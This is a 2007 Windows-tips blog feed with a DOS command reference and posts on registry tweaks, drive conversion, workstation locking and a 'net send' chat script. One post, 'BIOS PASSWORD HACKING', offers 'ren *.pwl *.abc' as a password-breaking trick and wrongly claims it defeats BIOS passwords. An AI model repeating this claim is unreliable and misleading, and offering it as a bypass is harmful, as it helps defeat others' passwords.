/&gt;(Internal)MOVE [/Y/-Y] [d:][path]filename[,[d:][path]filename[...]] destinationMoves one or more files to the location you specify. Can also be used to rename directories.&lt;br /&gt;MSAV&lt;br /&gt;(External)MSAV [d:] [/S/C][/R][/A][/L][/N][/P][/F][/video][/mouse]MSAV /videoScans your computer for known viruses.&lt;br /&gt;MSBACKUP&lt;br /&gt;(External)MSBACKUP [setupfile] [/BW/LCD/MDA] Used to backup or restore one or more files from one disk to another.&lt;br /&gt;MSCDEX&lt;br /&gt;(External)MSCDEX /D:driver [/D:driver2. . .] [/E][/K][/S][/V][/L:letter] [/M:number] Used to gain access to CD-ROM drives (new with DOS Version 6).&lt;br /&gt;MSD&lt;br /&gt;(External)MSD [/B][/I]MSD [/I] [/F[d:][path]filename [/P[d:][path]filename [/S[d:][path]filenameProvides detailed technical information about your computer.&lt;br /&gt;NLSFUNC&lt;br /&gt;(External)NLSFUNC [d:][path]filenameUsed to load a file with country-specific information.&lt;br /&gt;NUMLOCK&lt;br /&gt;(Internal)NUMLOCK=onoffUsed in the CONFIG.SYS file to specify the state of the NumLock key.&lt;br /&gt;PATH&lt;br /&gt;(Internal)PATH;PATH [d:]path[;][d:]path[...] Sets or displays directories that will be searched for programs not in the current directory.&lt;br /&gt;PAUSE&lt;br /&gt;(Internal)PAUSE [comment] Suspends execution of a batch file until a key is pressed.&lt;br /&gt;POWER&lt;br /&gt;(External)POWER [adv:maxregmin]stdoff] Used to turn power management on and off, report the status of power management, and set levels of power conservation.&lt;br /&gt;PRINT&lt;br /&gt;(External)PRINT [/B:(buffersize)] [/D:(device)] [/M:(maxtick)] [/Q:(value] [/S:(timeslice)][/U:(busytick)] [/C][/P][/T] [d:][path][filename] [...] Queues and prints data files.&lt;br /&gt;PROMPT&lt;br /&gt;(Internal)PROMPT [prompt text] [options] Changes the DOS command prompt.&lt;br /&gt;RECOVER&lt;br /&gt;(External)RECOVER [d:][path]filenameRECOVER d:Resolves sector problems on a file or a disk. (Beginning with DOS Version 6, RECOVER is no longer available ).&lt;br /&gt;REM&lt;br /&gt;(Internal)REM [comment] Used in batch files and in the CONFIG.SYS file to insert remarks (that will not be acted on).&lt;br /&gt;RENAME (REN)&lt;br /&gt;(Internal)RENAME (REN) [d:][path]filename [d:][path]filename Changes the filename under which a file is stored.&lt;br /&gt;REPLACE&lt;br /&gt;(External)REPLACE [d:][path]filename [d:][path] [/A][/P][/R][/S][/U][/W] Replaces stored files with files of the same name from a different storage location.&lt;br /&gt;RESTORE&lt;br /&gt;(External)RESTORE d: [d:][path]filename [/P][/S][/B:mm-dd-yy] [/A:mm-dd-yy][/E:hh:mm:ss] [/L:hh:mm:ss] [/M][/N][/D] Restores to standard disk storage format files previously stored using the BACKUP command.&lt;br /&gt;RMDIR (RD)&lt;br /&gt;(Internal)RMDIR (RD) [d:]pathRemoves a subdirectory.&lt;br /&gt;SCANDISK&lt;br /&gt;(External)SCANDISK [d: [d: . . .]/all][/checkonly/autofix[/nosave]/custom][/surface][/mono][/nosummay]SCANDISK volume-name[/checkonly/autofix[/nosave]/custom][/mono][/nosummary]SCANDISK /fragment [d:][path]filenameSCANDISK /undo [undo-d:][/mono] Starts the Microsoft ScanDisk program which is a disk analysis and repair tool used to check a drive for errors and correct any problems that it finds.&lt;br /&gt;SELECT&lt;br /&gt;(External)SELECT [d:] [d:][path] [country code][keyboard code] Formats a disk and installs country-specific information and keyboard codes (starting with DOS Version 6, this command is no longer available).&lt;br /&gt;SET&lt;br /&gt;(Internal)SET (string1)=(string2)Inserts strings into the command environment. The set values can be used later by programs.&lt;br /&gt;SETVER&lt;br /&gt;(External)SETVER [d:]:path][filename (number)][/delete][/quiet] Displays the version table and sets the version of DOS that is reported to programs.&lt;br /&gt;SHARE&lt;br /&gt;(External)SHARE [/F:space] [/L:locks] Installs support for file sharing and file locking.&lt;br /&gt;SHELL&lt;br /&gt;(Internal)SHELL=[d:][path]filename [parameters] Used in the CONFIG.SYS file to specify the command interpreter that DOS should use.&lt;br /&gt;SHIFT&lt;br /&gt;(Internal)SHIFTIncreases number of replaceable parameters to more than the standard ten for use in batch files.&lt;br /&gt;SORT&lt;br /&gt;(External)SORT [/R][/+n] &lt; (filename)SORT [/R][/+n] &gt; (filename2)Sorts input and sends it to the screen or to a file.&lt;br /&gt;STACKS&lt;br /&gt;(Internal)STACKS=(number),(size)Used in the CONFIG.SYS file to set the number of stack frames and the size of each stack frame.&lt;br /&gt;SUBMENU&lt;br /&gt;(Internal)SUBMENU=blockname, [menutext] Used in the CONFIG.SYS file to create a multilevel menu from which you can select start-up options.&lt;br /&gt;SUBST&lt;br /&gt;(External)SUBST d: d:pathSUBST d: /DSubstitutes a virtual drive letter for a path designation.&lt;br /&gt;SWITCHES&lt;br /&gt;(Internal)SWITCHES= [/K][/F][/N][/W] Used in the CONFIG.SYS file to configure DOS in a special way; for example, to tell DOS to emulate different hardware configurations.&lt;br /&gt;SYS&lt;br /&gt;(External)SYS [source] d:Transfers the operating system files to another disk.&lt;br /&gt;TIME&lt;br /&gt;(Internal)TIME hh:mm[:ss][.cc][AP] Displays current time setting of system clock and provides a way for you to reset the time.&lt;br /&gt;TREE&lt;br /&gt;(External)TREE [d:][path] [/A][/F] Displays directory paths and (optionally) files in each subdirectory.&lt;br /&gt;TYPE&lt;br /&gt;(Internal)TYPE [d:][path]filenameDisplays the contents of a file.&lt;br /&gt;UNDELETE&lt;br /&gt;(External)UNDELETE [d:][path][filename] [/DT/DS/DOS]UNDELETE [/list/all/purge[d:]/status/load/U/S[d:]/Td:[-entries]] Restores files deleted with the DELETE command.&lt;br /&gt;UNFORMAT&lt;br /&gt;(External)UNFORMAT d: [/J][/L][/test][/partn][/P][/U] Used to undo the effects of formatting a disk.&lt;br /&gt;VER&lt;br /&gt;(Internal)VERDisplays the DOS version number.&lt;br /&gt;VERIFY&lt;br /&gt;(Internal)VERIFY onoffTurns on the verify mode; the program checks all copying operations to assure that files are copied correctly.&lt;br /&gt;VOL&lt;br /&gt;(Internal)VOL [d:] Displays a disk's volume label.&lt;br /&gt;VSAFE&lt;br /&gt;(External)VSAFE [/option[+-]...] [/NE][/NX][Ax/Cx] [/N][/D][/U] VSAFE is a memory-resident program that continuously monitors your computer for viruses and displays a warning when it finds one.&lt;br /&gt;XCOPY&lt;br /&gt;(External)XCOPY [d:][path]filename [d:][path][filename] [/A][/D:(date)] [/E][/M][/P][/S][/V][/W][Y\-Y]Copies directories, subdirectories, and files.&lt;br /&gt;&lt;br /&gt;Syntax Notes&lt;br /&gt;&lt;br /&gt;To be functional, each DOS command must be entered in a particular way: this command entry structure is known as the command's "syntax." The syntax "notation" is a way to reproduce the command syntax in print. For example, you can determine the items that are optional, by looking for information that is printed inside square brackets. The notation [d:], for example, indicates an optional drive designation. The command syntax, on the other hand, is how YOU enter the command to make it work.&lt;br /&gt;Command Syntax Elements&lt;br /&gt;1. Command NameThe DOS command name is the name you enter to start the DOS program (a few of the DOS commands can be entered using shortcut names). The DOS command name is always entered first. In this book, the command is usually printed in uppercase letters, but you can enter command names as either lowercase or uppercase or a mix of both. 2. SpaceAlways leave a space after the command name.3. Drive DesignationThe drive designation (abbreviated in this book as "d:") is an option for many DOS commands. However, some commands are not related to disk drives and therefore do not require a drive designation. Whenever you enter a DOS command that deals with disk drives and you are already working in the drive in question, you do not have to enter the drive designator. For example, if you are working in drive A (when the DOS prompt A&gt; is showing at the left side of the screen) and you want to use the DIR command to display a directory listing of that same drive, you do not have to enter the drive designation. If you do not enter a drive designation, DOS always assumes you are referring to the drive you are currently working in (sometimes called the "default" drive). 4. A ColonWhen referring to a drive in a DOS command, you must always follow the drive designator with a colon (:) (this is how DOS recognizes it as a drive designation).5. PathnameA pathname (path) refers to the path you want DOS to follow in order to act on the DOS command. As described in Chapter 3, it indicates the path from the current directory or subdirectory to the files that are to be acted upon.6. FilenameA filename is the name of a file stored on disk. As described in Chapter 1, a filename can be of eight or fewer letters or other legal characters. 7. Filename ExtensionA filename extension can follow the filename to further identify it. The extension follows a period and can be of three or fewer characters. A filename extension is not required.8. SwitchesCharacters shown in a command syntax that are represented by a letter or number and preceded by a forward slash (for example, "/P") are command options (sometimes known as "switches"). Use of these options activate special operations as part of a DOS command's functions.9. BracketsItems enclosed in square brackets are optional; in other words, the command will work in its basic form without entering the information contained inside the brackets.10. EllipsesEllipses (...) indicate that an item in a command syntax can be repeated as many times as needed.11. Vertical BarWhen items are separated by a vertical bar (), it means that you enter one of the separated items. For example: ON OFF means that you can enter either ON or OFF, but not both&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-7193818232832291334?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/7193818232832291334/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=7193818232832291334' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/7193818232832291334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/7193818232832291334'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/dos-command-index.html' title='DOS Command Index'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-2854534540658890424</id><published>2007-10-29T10:33:00.001-07:00</published><updated>2007-10-29T10:33:59.164-07:00</updated><title type='text'>Creating Shortcut To Lock Computer</title><content type='html'>Feel hard to press CTRL+ALT+ DEL to lock your machine. Try this and create the icon to lock the machine on your desktop .&lt;br /&gt;&lt;br /&gt;1. Right click an empty spot on the desktop, point to New and click Shortcut.&lt;br /&gt;&lt;br /&gt;2. In the Create Shortcut dialog box, copy the following into the 'Type the location' of the item text box: "rundll32 user32.dll,LockWorkStation" remove quotes while typing.&lt;br /&gt;&lt;br /&gt;3. Click Next.&lt;br /&gt;&lt;br /&gt;4. In "Type a name for this shortcut", type LOCK and Click Finish&lt;br /&gt;&lt;br /&gt;5. Now just click on that icon and enjoy.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-2854534540658890424?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/2854534540658890424/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=2854534540658890424' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/2854534540658890424'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/2854534540658890424'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/creating-shortcut-to-lock-computer.html' title='Creating Shortcut To Lock Computer'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-9093271508918954787</id><published>2007-10-29T10:31:00.000-07:00</published><updated>2007-10-29T10:32:34.835-07:00</updated><title type='text'>Create Your Own Logon Message</title><content type='html'>1 Click start&lt;br /&gt;click run&lt;br /&gt;type regedit, then click ok!&lt;br /&gt;&lt;br /&gt;2 In The registry editor, drill down to the following key:hklm\software\Microsoft\Windows NT\Current version\Winlogon.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3 Right click LegalNoticeCaption, click modify, Type: My windows XP Machine,and then click ok!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4 Right click legalNoticeText, click modify, and then Close your message!&lt;br /&gt;&lt;br /&gt;5 Restart Your Computer.&lt;br /&gt;&lt;br /&gt;6 The message will appear every time you logon!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-9093271508918954787?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/9093271508918954787/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=9093271508918954787' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/9093271508918954787'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/9093271508918954787'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/create-your-own-logon-message.html' title='Create Your Own Logon Message'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-3362248541420153144</id><published>2007-10-29T10:30:00.002-07:00</published><updated>2007-10-29T10:31:41.345-07:00</updated><title type='text'>Convert FAT- NTFS</title><content type='html'>To convert a FAT partition to NTFS, perform the following steps.&lt;br /&gt;Click Start, click Programs, and then click Command Prompt. In Windows XP, click Start, click Run, type cmd and then click OK.&lt;br /&gt;At the command prompt, type CONVERT [driveletter]: /FS:NTFS. Convert.exe will attempt to convert the partition to NTFS.&lt;br /&gt;&lt;br /&gt;NOTE:=Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-3362248541420153144?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/3362248541420153144/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=3362248541420153144' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/3362248541420153144'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/3362248541420153144'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/convert-fat-ntfs.html' title='Convert FAT- NTFS'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-1688238889666975484</id><published>2007-10-29T10:30:00.001-07:00</published><updated>2007-10-29T10:30:33.917-07:00</updated><title type='text'>Chat With Command Prompt</title><content type='html'>If you want a private chat with a friend or client on you Network,&lt;br /&gt;you don't need to download any fancy program!&lt;br /&gt;All you need is your friends IP address and Command Prompt.&lt;br /&gt;&lt;br /&gt;Firstly, open Notepad and enter:&lt;br /&gt;&lt;br /&gt;@echo off&lt;br /&gt;:A&lt;br /&gt;Cls&lt;br /&gt;echo MESSENGER&lt;br /&gt;set /p n=User:&lt;br /&gt;set /p m=Message:&lt;br /&gt;net send %n% %m%&lt;br /&gt;Pause&lt;br /&gt;Goto A&lt;br /&gt;&lt;br /&gt;Now save this as "Messenger.bat". Open the .bat file and in Command Prompt you should see:&lt;br /&gt;&lt;br /&gt;MESSENGER&lt;br /&gt;User:&lt;br /&gt;&lt;br /&gt;After "User" type the IP address of the computer you want to contact.&lt;br /&gt;After this, you should see this:&lt;br /&gt;&lt;br /&gt;Message:&lt;br /&gt;&lt;br /&gt;Now type in the message you wish to send.&lt;br /&gt;Before you press "Enter" it should look like this:&lt;br /&gt;&lt;br /&gt;MESSENGER&lt;br /&gt;User: 56.108.104.107&lt;br /&gt;Message: Hi&lt;br /&gt;&lt;br /&gt;Now all you need to do is press "Enter", and start chatting!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-1688238889666975484?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/1688238889666975484/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=1688238889666975484' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/1688238889666975484'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/1688238889666975484'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/chat-with-command-prompt.html' title='Chat With Command Prompt'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-9194392735968304125</id><published>2007-10-29T10:24:00.000-07:00</published><updated>2007-10-29T10:29:42.676-07:00</updated><title type='text'>BIOS PASSWORD HACKING</title><content type='html'>If u wanna to hack the windows BIOS password then u have to do nothing more....... U have to just follow some steps&lt;br /&gt;&lt;br /&gt;1)first reboot the pc if it is first booted&lt;br /&gt;&lt;br /&gt;2)press f8 key&lt;br /&gt;&lt;br /&gt;3)boot the computer in ms-dos mode(command prompt)&lt;br /&gt;&lt;br /&gt;4)then just write c:\&gt;ren *.pwl *.abc and just press enter&lt;br /&gt;&lt;br /&gt;5)this will break any of ur windows bios password&lt;br /&gt;&lt;br /&gt;6)this command is dangerous if used in a wrong manner then it must change the windows registry&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-9194392735968304125?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/9194392735968304125/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=9194392735968304125' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/9194392735968304125'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/9194392735968304125'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/bios-password-hacking.html' title='BIOS PASSWORD HACKING'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-6983024380857603873</id><published>2007-10-29T10:15:00.000-07:00</published><updated>2007-10-29T10:22:49.228-07:00</updated><title type='text'>Adding Command Prompt In The Right Button In Explorer</title><content type='html'>I wasted lot of time in searching this tweak for Windows XP. Here I am sharing this tweak with you.This might be useful to you.&lt;br /&gt;&lt;br /&gt;You can do this in the following steps-&lt;br /&gt;&lt;br /&gt;1.Goto Start-&gt;Run.Enter regedit&lt;br /&gt;&lt;br /&gt;.2.Backup your Registry first.This is a very important step.If your registry gets corrupted you can use this Backup to restore it.&lt;br /&gt;&lt;br /&gt;3.Find the following key HKEY_CLASSES_ROOT\Directory\shell &amp;amp; make a new key called Command Prompt.&lt;br /&gt;&lt;br /&gt;4.Within this key create another key called command.&lt;br /&gt;&lt;br /&gt;5.Now go to the right panel and modify the default with : Cmd.exe /k cd "%1or you can copy the following code into a Text Editor such as Notepad.&lt;br /&gt;&lt;br /&gt;Windows Registry Editor Version 5.00[HKEY_CLASSES_ROOT\Directory\shell\Command Prompt][HKEY_CLASSES_ROOT\Directory\shell\Command Prompt\command]@="Cmd.exe /k cd \"%1\""&lt;br /&gt;&lt;br /&gt;&amp;amp; save this file with a .reg extension.Double Click on this file &amp;amp; Merge this file into Registy.&lt;br /&gt;&lt;br /&gt;This is a small trick i like to share it with you.&lt;br /&gt;&lt;br /&gt;In a command window you can use the TAB key as "complete" key - like in unix/linux.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;Start a cmd window and go to root (c:\)&lt;br /&gt;&lt;br /&gt;type cd - hit TAB key - and you will now scroll the directories, also hidden ones.&lt;br /&gt;&lt;br /&gt;Try: cd doc - hit TAB key - You get up "Documents and Settings" - hit enter. in Documents and Settings type cd and hit key several time - and you will scroll through the names of the directories - also the hidden ones.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-6983024380857603873?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/6983024380857603873/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=6983024380857603873' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/6983024380857603873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/6983024380857603873'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/10/adding-command-prompt-in-right-button.html' title='Adding Command Prompt In The Right Button In Explorer'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
